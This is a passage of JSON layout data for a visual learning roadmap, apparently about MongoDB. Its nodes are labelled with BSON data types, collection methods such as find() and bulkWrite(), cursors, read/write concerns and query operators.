     },\n        \"oldId\": \"OGtR5D_DUCSci1lFBT83z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 202.30884904188179\n      }\n    },\n    {\n      \"id\": \"QcdZKNcCtKls6P4YNXR2W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.7280153711943,\n        \"y\": 201.87044239438433\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Object\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -570.7280153711943,\n        \"y\": 201.87044239438433\n      }\n    },\n    {\n      \"id\": \"UM6jH6bAijYS0Hmw87UQ-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 255.30884904188179\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Binary Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OGtR5D_DUCSci1lFBT83z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 255.30884904188179\n      }\n    },\n    {\n      \"id\": \"kx_GOr51UMpdUAnS5u9qZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.7280153711943,\n        \"y\": 254.87044239438433\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Undefined\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -570.7280153711943,\n        \"y\": 254.87044239438433\n      }\n    },\n    {\n      \"id\": \"mxd3-l3-NtPw53dEvhqm4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 308.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Object ID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OGtR5D_DUCSci1lFBT83z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 308.3088490418818\n      }\n    },\n    {\n      \"id\": \"hmo7zCZ1jKgobS5R0eBSD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.7280153711943,\n        \"y\": 307.8704423943843\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Boolean\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -570.7280153711943,\n        \"y\": 307.8704423943843\n      }\n    },\n    {\n      \"id\": \"T6cq--pute6-8aG7z6QKN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 361.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Date\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OGtR5D_DUCSci1lFBT83z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 361.3088490418818\n      }\n    },\n    {\n      \"id\": \"g6AKQiFcY_8lsWRbkbZSC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.7280153711943,\n        \"y\": 360.8704423943843\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Null\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -570.7280153711943,\n        \"y\": 360.8704423943843\n      }\n    },\n    {\n      \"id\": \"z6I9XgIGQYWUd5l9DIZRX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 414.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Regular Expression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 414.3088490418818\n      }\n    },\n    {\n      \"id\": \"UXO5i6nPa5CRW1z7FAn_S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 467.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OGtR5D_DUCSci1lFBT83z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 467.3088490418818\n      }\n    },\n    {\n      \"id\": \"XAS4jQlsHkttLDuSSsD2o\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -566.1815433747388,\n        \"y\": 466.87044239438444\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Symbol\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -566.1815433747388,\n        \"y\": 466.87044239438444\n      }\n    },\n    {\n      \"id\": \"xKFZSKG2GPD-phY2HLMsx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -566.1815433747388,\n        \"y\": 519.8704423943844\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Int32/Int\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OGtR5D_DUCSci1lFBT83z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -566.1815433747388,\n        \"y\": 519.8704423943844\n      }\n    },\n    {\n      \"id\": \"iJFDFdIN_N4-DlJwrFIiB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 520.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Int64 / Long\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 520.3088490418818\n      }\n    },\n    {\n      \"id\": \"zbFH2NRHZEOv5eKLL_HR0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 573.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Timestamp\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 573.3088490418818\n      }\n    },\n    {\n      \"id\": \"OGtR5D_DUCSci1lFBT83z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -566.1815433747388,\n        \"y\": 572.8704423943844\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Decimal128\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -566.1815433747388,\n        \"y\": 572.8704423943844\n      }\n    },\n    {\n      \"id\": \"jQSMLd6gG158tJDzo1k_1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 626.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Min Key\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 626.3088490418818\n      }\n    },\n    {\n      \"id\": \"QF7SL237FyBQdqvKUzop6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -566.1815433747388,\n        \"y\": 625.8704423943844\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Max Key\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -566.1815433747388,\n        \"y\": 625.8704423943844\n      }\n    },\n    {\n      \"id\": \"kZtfRfhkNzKVJPcvjm0ku\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -436.89915209761,\n        \"y\": 29.120912211692314\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 647\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -436.89915209761,\n        \"y\": 29.120912211692314\n      }\n    },\n    {\n      \"id\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.0799823880168,\n        \"y\": 499.1313782482861\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Collections & Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PuRlxMpnjEZt3E3m7Hgzw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -315.0799823880168,\n        \"y\": 499.1313782482861\n      }\n    },\n    {\n      \"id\": \"hC83jKoO_XFI83WpsdN_Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.884313088579404,\n        \"y\": 340.1313782482861\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Counting Documents\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.884313088579404,\n        \"y\": 340.1313782482861\n      }\n    },\n    {\n      \"id\": \"mXdn4u5CiQRDE83qMiWZX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.884313088579404,\n        \"y\": 393.1313782482861\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"insert() and relevant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.884313088579404,\n        \"y\": 393.1313782482861\n      }\n    },\n    {\n      \"id\": \"iMpCEXRDXg0Kq9OFNywbI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.884313088579404,\n        \"y\": 446.1313782482861\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"find() and relevant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.884313088579404,\n        \"y\": 446.1313782482861\n      }\n    },\n    {\n      \"id\": \"liGbnGyQaG-Vqt6cuB91N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.884313088579404,\n        \"y\": 499.1313782482861\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"update() and relevant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.884313088579404,\n        \"y\": 499.1313782482861\n      }\n    },\n    {\n      \"id\": \"qjoLxSkfKbzG1sZUXnyw9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.884313088579404,\n        \"y\": 552.1313782482862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"delete() and relevant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.884313088579404,\n        \"y\": 552.1313782482862\n      }\n    },\n    {\n      \"id\": \"yc2HqhjhIV6UU_2P-ykKB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.884313088579404,\n        \"y\": 605.1313782482862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"bulkWrite() and relevant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.884313088579404,\n        \"y\": 605.1313782482862\n      }\n    },\n    {\n      \"id\": \"4h8NdcdXmNqJxLkVJqPtX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 43.884313088579404,\n        \"y\": 658.1313782482862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"validate()\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 43.884313088579404,\n        \"y\": 658.1313782482862\n      }\n    },\n    {\n      \"id\": \"Ff3yMMi2r0UQdPnY1QgL4\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -315.0799823880168,\n        \"y\": 747.0179607836022\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Useful concepts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 62,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 47\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -315.0799823880168,\n        \"y\": 747.0179607836022\n      }\n    },\n    {\n      \"id\": \"thOckmrCJ45NVNPNxm4eg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 747.0179607836022\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Read / Write Concerns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9mmxYBtvPYZlvFjQvE-2N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 254\n      },\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 747.0179607836022\n      }\n    },\n    {\n      \"id\": \"K9x7yQP59cB764Q5PqAs_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 800.0179607836022\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cursors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9mmxYBtvPYZlvFjQvE-2N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 254\n      },\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 800.0179607836022\n      }\n    },\n    {\n      \"id\": \"s8El0Q22GD_rOZGlDtkgH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 853.0179607836022\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Retryable Reads / Writes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9mmxYBtvPYZlvFjQvE-2N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 254\n      },\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 853.0179607836022\n      }\n    },\n    {\n      \"id\": \"B8SFhoVV8ei1Yz6vl57l_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 144.93048957867967,\n        \"y\": 747.0179607836022\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Query Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LC923iJhfiUDIs_0-9rc7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 144.93048957867967,\n        \"y\": 747.0179607836022\n      }\n    },\n    {\n      \"id\": \"gakF5Zfgk7QIgg_UwqG_Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.26273143170903,\n        \"y\": 900.5129687162062\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$project\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nk0V3o3oKuIb8A0gDECFJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 100\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 131.26273143170903,\n        \"y\": 900.5129687162062\n      }\n    },\n    {\n      \"id\": \"sxDyp3bP-YhgmDMVUFTaA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 235.262731431709,\n        \"y\": 900.5129687162062\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$include\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9mmxYBtvPYZlvFjQvE-2N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 100\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 235.262731431709,\n        \"y\": 900.5129687162062\n      }\n    },\n    {\n      \"id\": \"nk0V3o3oKuIb8A0gDECFJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.26273143170903,\n        \"y\": 953.5129687162062\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$exclude\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9mmxYBtvPYZlvFjQvE-2N\"\n      